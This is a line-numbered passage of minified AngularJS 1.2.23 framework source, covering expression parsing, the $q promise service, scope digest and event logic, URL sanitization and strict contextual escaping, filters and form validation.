96 (d?"s":'((k&&k.hasOwnProperty("'+b+'"))?k:s)')+'["'+b+'"];\n'+(a.unwrapPromises?'if (s && s.then) {\n pw("'+c.replace(/(["\r\n])/g,"\\$1")+'");\n if (!("$$v" in s)) {\n p=s;\n p.$$v = undefined;\n p.then(function(v) {p.$$v=v;});\n}\n s=s.$$v\n}\n':"")});var g=g+"return s;",k=new Function("s","k","pw",g);k.toString=$(g);f=a.unwrapPromises?function(a,b){return k(a,b,va)}:k}"hasOwnProperty"!==b&&(Vb[b]=f);return f}function Yd(){var b={},a={csp:!1,unwrapPromises:!1,logPromiseWarnings:!0};this.unwrapPromises=
97 function(b){return A(b)?(a.unwrapPromises=!!b,this):a.unwrapPromises};this.logPromiseWarnings=function(b){return A(b)?(a.logPromiseWarnings=b,this):a.logPromiseWarnings};this.$get=["$filter","$sniffer","$log",function(c,d,e){a.csp=d.csp;va=function(b){a.logPromiseWarnings&&!Fc.hasOwnProperty(b)&&(Fc[b]=!0,e.warn("[$parse] Promise found in the expression `"+b+"`. Automatic unwrapping of promises in Angular expressions is deprecated."))};return function(d){var e;switch(typeof d){case "string":if(b.hasOwnProperty(d))return b[d];
98 e=new Wb(a);e=(new db(e,c,a)).parse(d);"hasOwnProperty"!==d&&(b[d]=e);return e;case "function":return d;default:return y}}}]}function $d(){this.$get=["$rootScope","$exceptionHandler",function(b,a){return ye(function(a){b.$evalAsync(a)},a)}]}function ye(b,a){function c(a){return a}function d(a){return g(a)}var e=function(){var g=[],h,l;return l={resolve:function(a){if(g){var c=g;g=t;h=f(a);c.length&&b(function(){for(var a,b=0,d=c.length;b<d;b++)a=c[b],h.then(a[0],a[1],a[2])})}},reject:function(a){l.resolve(k(a))},
99 notify:function(a){if(g){var c=g;g.length&&b(function(){for(var b,d=0,e=c.length;d<e;d++)b=c[d],b[2](a)})}},promise:{then:function(b,f,k){var l=e(),L=function(d){try{l.resolve((P(b)?b:c)(d))}catch(e){l.reject(e),a(e)}},v=function(b){try{l.resolve((P(f)?f:d)(b))}catch(c){l.reject(c),a(c)}},C=function(b){try{l.notify((P(k)?k:c)(b))}catch(d){a(d)}};g?g.push([L,v,C]):h.then(L,v,C);return l.promise},"catch":function(a){return this.then(null,a)},"finally":function(a){function b(a,c){var d=e();c?d.resolve(a):
100 d.reject(a);return d.promise}function d(e,f){var g=null;try{g=(a||c)()}catch(k){return b(k,!1)}return g&&P(g.then)?g.then(function(){return b(e,f)},function(a){return b(a,!1)}):b(e,f)}return this.then(function(a){return d(a,!0)},function(a){return d(a,!1)})}}}},f=function(a){return a&&P(a.then)?a:{then:function(c){var d=e();b(function(){d.resolve(c(a))});return d.promise}}},g=function(a){var b=e();b.reject(a);return b.promise},k=function(c){return{then:function(f,g){var k=e();b(function(){try{k.resolve((P(g)?
101 g:d)(c))}catch(b){k.reject(b),a(b)}});return k.promise}}};return{defer:e,reject:g,when:function(k,h,l,n){var p=e(),q,s=function(b){try{return(P(h)?h:c)(b)}catch(d){return a(d),g(d)}},L=function(b){try{return(P(l)?l:d)(b)}catch(c){return a(c),g(c)}},v=function(b){try{return(P(n)?n:c)(b)}catch(d){a(d)}};b(function(){f(k).then(function(a){q||(q=!0,p.resolve(f(a).then(s,L,v)))},function(a){q||(q=!0,p.resolve(L(a)))},function(a){q||p.notify(v(a))})});return p.promise},all:function(a){var b=e(),c=0,d=H(a)?
102 []:{};r(a,function(a,e){c++;f(a).then(function(a){d.hasOwnProperty(e)||(d[e]=a,--c||b.resolve(d))},function(a){d.hasOwnProperty(e)||b.reject(a)})});0===c&&b.resolve(d);return b.promise}}}function ge(){this.$get=["$window","$timeout",function(b,a){var c=b.requestAnimationFrame||b.webkitRequestAnimationFrame||b.mozRequestAnimationFrame,d=b.cancelAnimationFrame||b.webkitCancelAnimationFrame||b.mozCancelAnimationFrame||b.webkitCancelRequestAnimationFrame,e=!!c,f=e?function(a){var b=c(a);return function(){d(b)}}:
103 function(b){var c=a(b,16.66,!1);return function(){a.cancel(c)}};f.supported=e;return f}]}function Zd(){var b=10,a=x("$rootScope"),c=null;this.digestTtl=function(a){arguments.length&&(b=a);return b};this.$get=["$injector","$exceptionHandler","$parse","$browser",function(d,e,f,g){function k(){this.$id=gb();this.$$phase=this.$parent=this.$$watchers=this.$$nextSibling=this.$$prevSibling=this.$$childHead=this.$$childTail=null;this["this"]=this.$root=this;this.$$destroyed=!1;this.$$asyncQueue=[];this.$$postDigestQueue=
104 [];this.$$listeners={};this.$$listenerCount={};this.$$isolateBindings={}}function m(b){if(p.$$phase)throw a("inprog",p.$$phase);p.$$phase=b}function h(a,b){var c=f(a);Va(c,b);return c}function l(a,b,c){do a.$$listenerCount[c]-=b,0===a.$$listenerCount[c]&&delete a.$$listenerCount[c];while(a=a.$parent)}function n(){}k.prototype={constructor:k,$new:function(a){a?(a=new k,a.$root=this.$root,a.$$asyncQueue=this.$$asyncQueue,a.$$postDigestQueue=this.$$postDigestQueue):(this.$$childScopeClass||(this.$$childScopeClass=
105 function(){this.$$watchers=this.$$nextSibling=this.$$childHead=this.$$childTail=null;this.$$listeners={};this.$$listenerCount={};this.$id=gb();this.$$childScopeClass=null},this.$$childScopeClass.prototype=this),a=new this.$$childScopeClass);a["this"]=a;a.$parent=this;a.$$prevSibling=this.$$childTail;this.$$childHead?this.$$childTail=this.$$childTail.$$nextSibling=a:this.$$childHead=this.$$childTail=a;return a},$watch:function(a,b,d){var e=h(a,"watch"),f=this.$$watchers,g={fn:b,last:n,get:e,exp:a,
106 eq:!!d};c=null;if(!P(b)){var k=h(b||y,"listener");g.fn=function(a,b,c){k(c)}}if("string"==typeof a&&e.constant){var m=g.fn;g.fn=function(a,b,c){m.call(this,a,b,c);Ra(f,g)}}f||(f=this.$$watchers=[]);f.unshift(g);return function(){Ra(f,g);c=null}},$watchCollection:function(a,b){var c=this,d,e,g,k=1<b.length,h=0,m=f(a),l=[],p={},n=!0,r=0;return this.$watch(function(){d=m(c);var a,b,f;if(T(d))if(fb(d))for(e!==l&&(e=l,r=e.length=0,h++),a=d.length,r!==a&&(h++,e.length=r=a),b=0;b<a;b++)f=e[b]!==e[b]&&d[b]!==
107 d[b],f||e[b]===d[b]||(h++,e[b]=d[b]);else{e!==p&&(e=p={},r=0,h++);a=0;for(b in d)d.hasOwnProperty(b)&&(a++,e.hasOwnProperty(b)?(f=e[b]!==e[b]&&d[b]!==d[b],f||e[b]===d[b]||(h++,e[b]=d[b])):(r++,e[b]=d[b],h++));if(r>a)for(b in h++,e)e.hasOwnProperty(b)&&!d.hasOwnProperty(b)&&(r--,delete e[b])}else e!==d&&(e=d,h++);return h},function(){n?(n=!1,b(d,d,c)):b(d,g,c);if(k)if(T(d))if(fb(d)){g=Array(d.length);for(var a=0;a<d.length;a++)g[a]=d[a]}else for(a in g={},d)ib.call(d,a)&&(g[a]=d[a]);else g=d})},$digest:function(){var d,
108 f,g,k,h=this.$$asyncQueue,l=this.$$postDigestQueue,r,w,t=b,K,W=[],u,J,E;m("$digest");c=null;do{w=!1;for(K=this;h.length;){try{E=h.shift(),E.scope.$eval(E.expression)}catch(F){p.$$phase=null,e(F)}c=null}a:do{if(k=K.$$watchers)for(r=k.length;r--;)try{if(d=k[r])if((f=d.get(K))!==(g=d.last)&&!(d.eq?za(f,g):"number"===typeof f&&"number"===typeof g&&isNaN(f)&&isNaN(g)))w=!0,c=d,d.last=d.eq?Ha(f,null):f,d.fn(f,g===n?f:g,K),5>t&&(u=4-t,W[u]||(W[u]=[]),J=P(d.exp)?"fn: "+(d.exp.name||d.exp.toString()):d.exp,
109 J+="; newVal: "+ta(f)+"; oldVal: "+ta(g),W[u].push(J));else if(d===c){w=!1;break a}}catch(A){p.$$phase=null,e(A)}if(!(k=K.$$childHead||K!==this&&K.$$nextSibling))for(;K!==this&&!(k=K.$$nextSibling);)K=K.$parent}while(K=k);if((w||h.length)&&!t--)throw p.$$phase=null,a("infdig",b,ta(W));}while(w||h.length);for(p.$$phase=null;l.length;)try{l.shift()()}catch(x){e(x)}},$destroy:function(){if(!this.$$destroyed){var a=this.$parent;this.$broadcast("$destroy");this.$$destroyed=!0;this!==p&&(r(this.$$listenerCount,
110 Bb(null,l,this)),a.$$childHead==this&&(a.$$childHead=this.$$nextSibling),a.$$childTail==this&&(a.$$childTail=this.$$prevSibling),this.$$prevSibling&&(this.$$prevSibling.$$nextSibling=this.$$nextSibling),this.$$nextSibling&&(this.$$nextSibling.$$prevSibling=this.$$prevSibling),this.$parent=this.$$nextSibling=this.$$prevSibling=this.$$childHead=this.$$childTail=this.$root=null,this.$$listeners={},this.$$watchers=this.$$asyncQueue=this.$$postDigestQueue=[],this.$destroy=this.$digest=this.$apply=y,this.$on=
111 this.$watch=function(){return y})}},$eval:function(a,b){return f(a)(this,b)},$evalAsync:function(a){p.$$phase||p.$$asyncQueue.length||g.defer(function(){p.$$asyncQueue.length&&p.$digest()});this.$$asyncQueue.push({scope:this,expression:a})},$$postDigest:function(a){this.$$postDigestQueue.push(a)},$apply:function(a){try{return m("$apply"),this.$eval(a)}catch(b){e(b)}finally{p.$$phase=null;try{p.$digest()}catch(c){throw e(c),c;}}},$on:function(a,b){var c=this.$$listeners[a];c||(this.$$listeners[a]=
112 c=[]);c.push(b);var d=this;do d.$$listenerCount[a]||(d.$$listenerCount[a]=0),d.$$listenerCount[a]++;while(d=d.$parent);var e=this;return function(){c[Qa(c,b)]=null;l(e,1,a)}},$emit:function(a,b){var c=[],d,f=this,g=!1,k={name:a,targetScope:f,stopPropagation:function(){g=!0},preventDefault:function(){k.defaultPrevented=!0},defaultPrevented:!1},h=[k].concat(Aa.call(arguments,1)),m,l;do{d=f.$$listeners[a]||c;k.currentScope=f;m=0;for(l=d.length;m<l;m++)if(d[m])try{d[m].apply(null,h)}catch(p){e(p)}else d.splice(m,
113 1),m--,l--;if(g)break;f=f.$parent}while(f);return k},$broadcast:function(a,b){for(var c=this,d=this,f={name:a,targetScope:this,preventDefault:function(){f.defaultPrevented=!0},defaultPrevented:!1},g=[f].concat(Aa.call(arguments,1)),k,h;c=d;){f.currentScope=c;d=c.$$listeners[a]||[];k=0;for(h=d.length;k<h;k++)if(d[k])try{d[k].apply(null,g)}catch(m){e(m)}else d.splice(k,1),k--,h--;if(!(d=c.$$listenerCount[a]&&c.$$childHead||c!==this&&c.$$nextSibling))for(;c!==this&&!(d=c.$$nextSibling);)c=c.$parent}return f}};
114 var p=new k;return p}]}function cd(){var b=/^\s*(https?|ftp|mailto|tel|file):/,a=/^\s*((https?|ftp|file):|data:image\/)/;this.aHrefSanitizationWhitelist=function(a){return A(a)?(b=a,this):b};this.imgSrcSanitizationWhitelist=function(b){return A(b)?(a=b,this):a};this.$get=function(){return function(c,d){var e=d?a:b,f;if(!R||8<=R)if(f=ua(c).href,""!==f&&!f.match(e))return"unsafe:"+f;return c}}}function ze(b){if("self"===b)return b;if(z(b)){if(-1<b.indexOf("***"))throw wa("iwcard",b);b=b.replace(/([-()\[\]{}+?*.$\^|,:#<!\\])/g,
115 "\\$1").replace(/\x08/g,"\\x08").replace("\\*\\*",".*").replace("\\*","[^:/.?&;]*");return RegExp("^"+b+"$")}if(hb(b))return RegExp("^"+b.source+"$");throw wa("imatcher");}function Gc(b){var a=[];A(b)&&r(b,function(b){a.push(ze(b))});return a}function be(){this.SCE_CONTEXTS=fa;var b=["self"],a=[];this.resourceUrlWhitelist=function(a){arguments.length&&(b=Gc(a));return b};this.resourceUrlBlacklist=function(b){arguments.length&&(a=Gc(b));return a};this.$get=["$injector",function(c){function d(a){var b=
116 function(a){this.$$unwrapTrustedValue=function(){return a}};a&&(b.prototype=new a);b.prototype.valueOf=function(){return this.$$unwrapTrustedValue()};b.prototype.toString=function(){return this.$$unwrapTrustedValue().toString()};return b}var e=function(a){throw wa("unsafe");};c.has("$sanitize")&&(e=c.get("$sanitize"));var f=d(),g={};g[fa.HTML]=d(f);g[fa.CSS]=d(f);g[fa.URL]=d(f);g[fa.JS]=d(f);g[fa.RESOURCE_URL]=d(g[fa.URL]);return{trustAs:function(a,b){var c=g.hasOwnProperty(a)?g[a]:null;if(!c)throw wa("icontext",
117 a,b);if(null===b||b===t||""===b)return b;if("string"!==typeof b)throw wa("itype",a);return new c(b)},getTrusted:function(c,d){if(null===d||d===t||""===d)return d;var f=g.hasOwnProperty(c)?g[c]:null;if(f&&d instanceof f)return d.$$unwrapTrustedValue();if(c===fa.RESOURCE_URL){var f=ua(d.toString()),l,n,p=!1;l=0;for(n=b.length;l<n;l++)if("self"===b[l]?Pb(f):b[l].exec(f.href)){p=!0;break}if(p)for(l=0,n=a.length;l<n;l++)if("self"===a[l]?Pb(f):a[l].exec(f.href)){p=!1;break}if(p)return d;throw wa("insecurl",
118 d.toString());}if(c===fa.HTML)return e(d);throw wa("unsafe");},valueOf:function(a){return a instanceof f?a.$$unwrapTrustedValue():a}}}]}function ae(){var b=!0;this.enabled=function(a){arguments.length&&(b=!!a);return b};this.$get=["$parse","$sniffer","$sceDelegate",function(a,c,d){if(b&&c.msie&&8>c.msieDocumentMode)throw wa("iequirks");var e=ga(fa);e.isEnabled=function(){return b};e.trustAs=d.trustAs;e.getTrusted=d.getTrusted;e.valueOf=d.valueOf;b||(e.trustAs=e.getTrusted=function(a,b){return b},
119 e.valueOf=Ga);e.parseAs=function(b,c){var d=a(c);return d.literal&&d.constant?d:function(a,c){return e.getTrusted(b,d(a,c))}};var f=e.parseAs,g=e.getTrusted,k=e.trustAs;r(fa,function(a,b){var c=N(b);e[Ya("parse_as_"+c)]=function(b){return f(a,b)};e[Ya("get_trusted_"+c)]=function(b){return g(a,b)};e[Ya("trust_as_"+c)]=function(b){return k(a,b)}});return e}]}function ce(){this.$get=["$window","$document",function(b,a){var c={},d=Z((/android (\d+)/.exec(N((b.navigator||{}).userAgent))||[])[1]),e=/Boxee/i.test((b.navigator||
120 {}).userAgent),f=a[0]||{},g=f.documentMode,k,m=/^(Moz|webkit|O|ms)(?=[A-Z])/,h=f.body&&f.body.style,l=!1,n=!1;if(h){for(var p in h)if(l=m.exec(p)){k=l[0];k=k.substr(0,1).toUpperCase()+k.substr(1);break}k||(k="WebkitOpacity"in h&&"webkit");l=!!("transition"in h||k+"Transition"in h);n=!!("animation"in h||k+"Animation"in h);!d||l&&n||(l=z(f.body.style.webkitTransition),n=z(f.body.style.webkitAnimation))}return{history:!(!b.history||!b.history.pushState||4>d||e),hashchange:"onhashchange"in b&&(!g||7<
121 g),hasEvent:function(a){if("input"==a&&9==R)return!1;if(D(c[a])){var b=f.createElement("div");c[a]="on"+a in b}return c[a]},csp:Wa(),vendorPrefix:k,transitions:l,animations:n,android:d,msie:R,msieDocumentMode:g}}]}function ee(){this.$get=["$rootScope","$browser","$q","$exceptionHandler",function(b,a,c,d){function e(e,k,m){var h=c.defer(),l=h.promise,n=A(m)&&!m;k=a.defer(function(){try{h.resolve(e())}catch(a){h.reject(a),d(a)}finally{delete f[l.$$timeoutId]}n||b.$apply()},k);l.$$timeoutId=k;f[k]=h;
122 return l}var f={};e.cancel=function(b){return b&&b.$$timeoutId in f?(f[b.$$timeoutId].reject("canceled"),delete f[b.$$timeoutId],a.defer.cancel(b.$$timeoutId)):!1};return e}]}function ua(b,a){var c=b;R&&(V.setAttribute("href",c),c=V.href);V.setAttribute("href",c);return{href:V.href,protocol:V.protocol?V.protocol.replace(/:$/,""):"",host:V.host,search:V.search?V.search.replace(/^\?/,""):"",hash:V.hash?V.hash.replace(/^#/,""):"",hostname:V.hostname,port:V.port,pathname:"/"===V.pathname.charAt(0)?V.pathname:
123 "/"+V.pathname}}function Pb(b){b=z(b)?ua(b):b;return b.protocol===Hc.protocol&&b.host===Hc.host}function fe(){this.$get=$(Q)}function mc(b){function a(d,e){if(T(d)){var f={};r(d,function(b,c){f[c]=a(c,b)});return f}return b.factory(d+c,e)}var c="Filter";this.register=a;this.$get=["$injector",function(a){return function(b){return a.get(b+c)}}];a("currency",Ic);a("date",Jc);a("filter",Ae);a("json",Be);a("limitTo",Ce);a("lowercase",De);a("number",Kc);a("orderBy",Lc);a("uppercase",Ee)}function Ae(){return function(b,
124 a,c){if(!H(b))return b;var d=typeof c,e=[];e.check=function(a){for(var b=0;b<e.length;b++)if(!e[b](a))return!1;return!0};"function"!==d&&(c="boolean"===d&&c?function(a,b){return Ua.equals(a,b)}:function(a,b){if(a&&b&&"object"===typeof a&&"object"===typeof b){for(var d in a)if("$"!==d.charAt(0)&&ib.call(a,d)&&c(a[d],b[d]))return!0;return!1}b=(""+b).toLowerCase();return-1<(""+a).toLowerCase().indexOf(b)});var f=function(a,b){if("string"==typeof b&&"!"===b.charAt(0))return!f(a,b.substr(1));switch(typeof a){case "boolean":case "number":case "string":return c(a,
125 b);case "object":switch(typeof b){case "object":return c(a,b);default:for(var d in a)if("$"!==d.charAt(0)&&f(a[d],b))return!0}return!1;case "array":for(d=0;d<a.length;d++)if(f(a[d],b))return!0;return!1;default:return!1}};switch(typeof a){case "boolean":case "number":case "string":a={$:a};case "object":for(var g in a)(function(b){"undefined"!==typeof a[b]&&e.push(function(c){return f("$"==b?c:c&&c[b],a[b])})})(g);break;case "function":e.push(a);break;default:return b}d=[];for(g=0;g<b.length;g++){var k=
126 b[g];e.check(k)&&d.push(k)}return d}}function Ic(b){var a=b.NUMBER_FORMATS;return function(b,d){D(d)&&(d=a.CURRENCY_SYM);return Mc(b,a.PATTERNS[1],a.GROUP_SEP,a.DECIMAL_SEP,2).replace(/\u00A4/g,d)}}function Kc(b){var a=b.NUMBER_FORMATS;return function(b,d){return Mc(b,a.PATTERNS[0],a.GROUP_SEP,a.DECIMAL_SEP,d)}}function Mc(b,a,c,d,e){if(null==b||!isFinite(b)||T(b))return"";var f=0>b;b=Math.abs(b);var g=b+"",k="",m=[],h=!1;if(-1!==g.indexOf("e")){var l=g.match(/([\d\.]+)e(-?)(\d+)/);l&&"-"==l[2]&&
127 l[3]>e+1?(g="0",b=0):(k=g,h=!0)}if(h)0<e&&(-1<b&&1>b)&&(k=b.toFixed(e));else{g=(g.split(Nc)[1]||"").length;D(e)&&(e=Math.min(Math.max(a.minFrac,g),a.maxFrac));b=+(Math.round(+(b.toString()+"e"+e)).toString()+"e"+-e);b=(""+b).split(Nc);g=b[0];b=b[1]||"";var l=0,n=a.lgSize,p=a.gSize;if(g.length>=n+p)for(l=g.length-n,h=0;h<l;h++)0===(l-h)%p&&0!==h&&(k+=c),k+=g.charAt(h);for(h=l;h<g.length;h++)0===(g.length-h)%n&&0!==h&&(k+=c),k+=g.charAt(h);for(;b.length<e;)b+="0";e&&"0"!==e&&(k+=d+b.substr(0,e))}m.push(f?
128 a.negPre:a.posPre);m.push(k);m.push(f?a.negSuf:a.posSuf);return m.join("")}function Xb(b,a,c){var d="";0>b&&(d="-",b=-b);for(b=""+b;b.length<a;)b="0"+b;c&&(b=b.substr(b.length-a));return d+b}function Y(b,a,c,d){c=c||0;return function(e){e=e["get"+b]();if(0<c||e>-c)e+=c;0===e&&-12==c&&(e=12);return Xb(e,a,d)}}function ub(b,a){return function(c,d){var e=c["get"+b](),f=Ia(a?"SHORT"+b:b);return d[f][e]}}function Jc(b){function a(a){var b;if(b=a.match(c)){a=new Date(0);var f=0,g=0,k=b[8]?a.setUTCFullYear:
129 a.setFullYear,m=b[8]?a.setUTCHours:a.setHours;b[9]&&(f=Z(b[9]+b[10]),g=Z(b[9]+b[11]));k.call(a,Z(b[1]),Z(b[2])-1,Z(b[3]));f=Z(b[4]||0)-f;g=Z(b[5]||0)-g;k=Z(b[6]||0);b=Math.round(1E3*parseFloat("0."+(b[7]||0)));m.call(a,f,g,k,b)}return a}var c=/^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z|([+-])(\d\d):?(\d\d))?)?$/;return function(c,e){var f="",g=[],k,m;e=e||"mediumDate";e=b.DATETIME_FORMATS[e]||e;z(c)&&(c=Fe.test(c)?Z(c):a(c));Ab(c)&&(c=new Date(c));if(!sa(c))return c;
130 for(;e;)(m=Ge.exec(e))?(g=g.concat(Aa.call(m,1)),e=g.pop()):(g.push(e),e=null);r(g,function(a){k=He[a];f+=k?k(c,b.DATETIME_FORMATS):a.replace(/(^'|'$)/g,"").replace(/''/g,"'")});return f}}function Be(){return function(b){return ta(b,!0)}}function Ce(){return function(b,a){if(!H(b)&&!z(b))return b;a=Infinity===Math.abs(Number(a))?Number(a):Z(a);if(z(b))return a?0<=a?b.slice(0,a):b.slice(a,b.length):"";var c=[],d,e;a>b.length?a=b.length:a<-b.length&&(a=-b.length);0<a?(d=0,e=a):(d=b.length+a,e=b.length);
131 for(;d<e;d++)c.push(b[d]);return c}}function Lc(b){return function(a,c,d){function e(a,b){return Ta(b)?function(b,c){return a(c,b)}:a}function f(a,b){var c=typeof a,d=typeof b;return c==d?(sa(a)&&sa(b)&&(a=a.valueOf(),b=b.valueOf()),"string"==c&&(a=a.toLowerCase(),b=b.toLowerCase()),a===b?0:a<b?-1:1):c<d?-1:1}if(!H(a)||!c)return a;c=H(c)?c:[c];c=Vc(c,function(a){var c=!1,d=a||Ga;if(z(a)){if("+"==a.charAt(0)||"-"==a.charAt(0))c="-"==a.charAt(0),a=a.substring(1);d=b(a);if(d.constant){var g=d();return e(function(a,
132 b){return f(a[g],b[g])},c)}}return e(function(a,b){return f(d(a),d(b))},c)});for(var g=[],k=0;k<a.length;k++)g.push(a[k]);return g.sort(e(function(a,b){for(var d=0;d<c.length;d++){var e=c[d](a,b);if(0!==e)return e}return 0},d))}}function xa(b){P(b)&&(b={link:b});b.restrict=b.restrict||"AC";return $(b)}function Oc(b,a,c,d){function e(a,c){c=c?"-"+kb(c,"-"):"";d.removeClass(b,(a?vb:wb)+c);d.addClass(b,(a?wb:vb)+c)}var f=this,g=b.parent().controller("form")||xb,k=0,m=f.$error={},h=[];f.$name=a.name||
133 a.ngForm;f.$dirty=!1;f.$pristine=!0;f.$valid=!0;f.$invalid=!1;g.$addControl(f);b.addClass(Pa);e(!0);f.$addControl=function(a){Ca(a.$name,"input");h.push(a);a.$name&&(f[a.$name]=a)};f.$removeControl=function(a){a.$name&&f[a.$name]===a&&delete f[a.$name];r(m,function(b,c){f.$setValidity(c,!0,a)});Ra(h,a)};f.$setValidity=function(a,b,c){var d=m[a];if(b)d&&(Ra(d,c),d.length||(k--,k||(e(b),f.$valid=!0,f.$invalid=!1),m[a]=!1,e(!0,a),g.$setValidity(a,!0,f)));else{k||e(b);if(d){if(-1!=Qa(d,c))return}else m[a]=
134 d=[],k++,e(!1,a),g.$setValidity(a,!1,f);d.push(c);f.$valid=!1;f.$invalid=!0}};f.$setDirty=function(){d.removeClass(b,Pa);d.addClass(b,yb);f.$dirty=!0;f.$pristine=!1;g.$setDirty()};f.$setPristine=function(){d.removeClass(b,yb);d.addClass(b,Pa);f.$dirty=!1;f.$pristine=!0;r(h,function(a){a.$setPristine()})}}function ra(b,a,c,d){b.$setValidity(a,c);return c?d:t}function Pc(b,a){var c,d;if(a)for(c=0;c<a.length;++c)if(d=a[c],b[d])return!0;return!1}function Ie(b,a,c,d,e){T(e)&&(b.$$hasNativeValidators=!0,
135 b.$parsers.push(function(f){if(b.$error[a]||Pc(e,d)||!Pc(e,c))return f;b.$setValidity(a,!1)}))}function zb(b,a,c,d,e,f){var g=a.prop(Je),k=a[0].placeholder,m={},h=N(a[0].type);d.$$validityState=g;if(!e.android){var l=!1;a.on("compositionstart",function(a){l=!0});a.on("compositionend",function(){l=!1;n()})}var n=function(e){if(!l){var f=a.val();if(R&&"input"===(e||m).type&&a[0].placeholder!==k)k=a[0].placeholder;else if("password"!==h&&Ta(c.ngTrim||"T")&&(f=aa(f)),e=g&&d.$$hasNativeValidators,d.$viewValue!==
136 f||""===f&&e)b.$$phase?d.$setViewValue(f):b.$apply(function(){d.$setViewValue(f)})}};if(e.hasEvent("input"))a.on("input",n);else{var p,q=function(){p||(p=f.defer(function(){n();p=null}))};a.on("keydown",function(a){a=a.keyCode;91===a||(15<a&&19>a||37<=a&&40>=a)||q()});if(e.hasEvent("paste"))a.on("paste cut",q)}a.on("change",n);d.$render=function(){a.val(d.$isEmpty(d.$viewValue)?"":d.$viewValue)};var s=c.ngPattern;s&&((e=s.match(/^\/(.*)\/([gim]*)$/))?(s=RegExp(e[1],e[2]),e=function(a){return ra(d,
137 "pattern",d.$isEmpty(a)||s.test(a),a)}):e=function(c){var e=b.$eval(s);if(!e||!e.test)throw x("ngPattern")("noregexp",s,e,ha(a));return ra(d,"pattern",d.$isEmpty(c)||e.test(c),c)},d.$formatters.push(e),d.$parsers.push(e));if(c.ngMinlength){var r=Z(c.ngMinlength);e=function(a){return ra(d,"minlength",d.$isEmpty(a)||a.length>=r,a)};d.$parsers.push(e);d.$formatters.push(e)}if(c.ngMaxlength){var v=Z(c.ngMaxlength);e=function(a){return ra(d,"maxlength",d.$isEmpty(a)||a.length<=v,a)};d.$parsers.push(e);
138 d.$formatters.push(e)}}function Yb(b,a){b="ngClass"+b;return["$animate",function(c){function d(a,b){var c=[],d=0;a:for(;d<a.length;d++){for(var e=a[d],l=0;l<b.length;l++)if(e==b[l])continue a;c.push(e)}return c}function e(a){if(!H(a)){if(z(a))return a.split(" ");if(T(a)){var b=[];r(a,function(a,c){a&&(b=b.concat(c.split(" ")))});return b}}return a}return{restrict:"AC",link:function(f,g,k){function m(a,b){var c=g.data("$classCounts")||{},d=[];r(a,function(a){if(0<b||c[a])c[a]=(c[a]||0)+b,c[a]===+(0<
139 b)&&d.push(a)});g.data("$classCounts",c);return d.join(" ")}function h(b){if(!0===a||f.$index%2===a){var h=e(b||[]);if(!l){var q=m(h,1);k.$addClass(q)}else if(!za(b,l)){var s=e(l),q=d(h,s),h=d(s,h),h=m(h,-1),q=m(q,1);0===q.length?c.removeClass(g,h):0===h.length?c.addClass(g,q):c.setClass(g,q,h)}}l=ga(b)}var l;f.$watch(k[b],h,!0);k.$observe("class",function(a){h(f.$eval(k[b]))});"ngClass"!==b&&f.$watch("$index",function(c,d){var g=c&1;if(g!==(d&1)){var h=e(f.$eval(k[b]));g===a?(g=m(h,1),k.$addClass(g)):
140 (g=m(h,-1),k.$removeClass(g))}})}}}]}var Je="validity",N=function(b){return z(b)?b.toLowerCase():b},ib=Object.prototype.hasOwnProperty,Ia=function(b){return z(b)?b.toUpperCase():b},R,u,Da,Aa=[].slice,Ke=[].push,ya=Object.prototype.toString,Sa=x("ng"),Ua=Q.angular||(Q.angular={}),Xa,Ma,la=["0","0","0"];R=Z((/msie (\d+)/.exec(N(navigator.userAgent))||[])[1]);isNaN(R)&&(R=Z((/trident\/.*; rv:(\d+)/.exec(N(navigator.userAgent))||[])[1]));y.$inject=[];Ga.$inject=[];var H=function(){return P(Array.isArray)?
141 Array.isArray:function(b){return"[object Array]"===ya.call(b)}}(),aa=function(){return String.prototype.trim?function(b){return z(b)?b.trim():b}:function(b){return z(b)?b.replace(/^\s\s*/,"").replace(/\s\s*$/,""):b}}();Ma=9>R?function(b){b=b.nodeName?b:b[0];return b.scopeName&&"HTML"!=b.scopeName?Ia(b.scopeName+":"+b.nodeName):b.nodeName}:function(b){return b.nodeName?b.nodeName:b[0].nodeName};var Wa=function(){if(A(Wa.isActive_))return Wa.isActive_;var b=!(!X.querySelector("[ng-csp]")&&!X.querySelector("[data-ng-csp]"));
142 if(!b)try{new Function("")}catch(a){b=!0}return Wa.isActive_=b},Yc=/[A-Z]/g,ad={full:"1.2.23",major:1,minor:2,dot:23,codeName:"superficial-malady"};S.expando="ng339";var $a=S.cache={},ne=1,rb=Q.document.addEventListener?function(b,a,c){b.addEventListener(a,c,!1)}:function(b,a,c){b.attachEvent("on"+a,c)},Za=Q.document.removeEventListener?function(b,a,c){b.removeEventListener(a,c,!1)}:function(b,a,c){b.detachEvent("on"+a,c)};S._data=function(b){return this.cache[b[this.expando]]||{}};var ie=/([\:\-\_]+(.))/g,
143 je=/^moz([A-Z])/,Hb=x("jqLite"),ke=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,Ib=/<|&#?\w+;/,le=/<([\w:]+)/,me=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,ba={option:[1,'<select multiple="multiple">',"</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ba.optgroup=ba.option;ba.tbody=ba.tfoot=ba.colgroup=ba.caption=ba.thead;ba.th=
144 ba.td;var La=S.prototype={ready:function(b){function a(){c||(c=!0,b())}var c=!1;"complete"===X.readyState?setTimeout(a):(this.on("DOMContentLoaded",a),S(Q).on("load",a))},toString:function(){var b=[];r(this,function(a){b.push(""+a)});return"["+b.join(", ")+"]"},eq:function(b){return 0<=b?u(this[b]):u(this[this.length+b])},length:0,push:Ke,sort:[].sort,splice:[].splice},ob={};r("multiple selected checked disabled readOnly required open".split(" "),function(b){ob[N(b)]=b});var rc={};r("input select option textarea button form details".split(" "),
145 function(b){rc[Ia(b)]=!0});r({data:Mb,removeData:Lb},function(b,a){S[a]=b});r({data:Mb,inheritedData:nb,scope:function(b){return u.data(b,"$scope")||nb(b.parentNode||b,["$isolateScope","$scope"])},isolateScope:function(b){return u.data(b,"$isolateScope")||u.data(b,"$isolateScopeNoTemplate")},controller:oc,injector:function(b){return nb(b,"$injector")},removeAttr:function(b,a){b.removeAttribute(a)},hasClass:Nb,css:function(b,a,c){a=Ya(a);if(A(c))b.style[a]=c;else{var d;8>=R&&(d=b.currentStyle&&b.currentStyle[a],
